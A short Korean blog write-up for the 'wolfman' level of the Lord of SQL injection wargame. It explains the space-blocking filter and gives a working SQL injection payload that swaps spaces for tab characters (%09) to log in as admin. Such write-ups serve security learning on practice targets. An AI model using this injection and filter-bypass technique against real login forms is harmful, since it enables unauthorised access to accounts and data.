본문 바로가기

WarGame/Web

[Lord of SQL injection] wolfman


소스코드 분석

if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");

공백을 사용못하게 하였다.


if($result['id'] == 'admin') solve("wolfman");

그리고 id='admin' 조건만 맞춰주면 풀리게되어있다.


space는 아스키값으로 20(Hex)을 넣어주게 되면

?pw=%27%20or%20id=%27admin

pw='%20or%20id='admin



풀리지 않는다.

그럼 Space를 대체할 문자를 넣어야하는데, 비슷한 Tab(09)을 넣게되면 풀린다.


?pw=%27%09or%09id=%27admin

pw='%09or%09id='admin



'WarGame > Web' 카테고리의 다른 글

[Lord of SQL injection] orge  (0) 2017.05.25
[Lord of SQL injection] darkelf  (0) 2017.05.25
[Lord of SQL injection] orc  (0) 2017.05.24
[Lord of SQL injection] goblin  (0) 2017.05.24
[Lord of SQL injection] cobolt  (0) 2017.05.23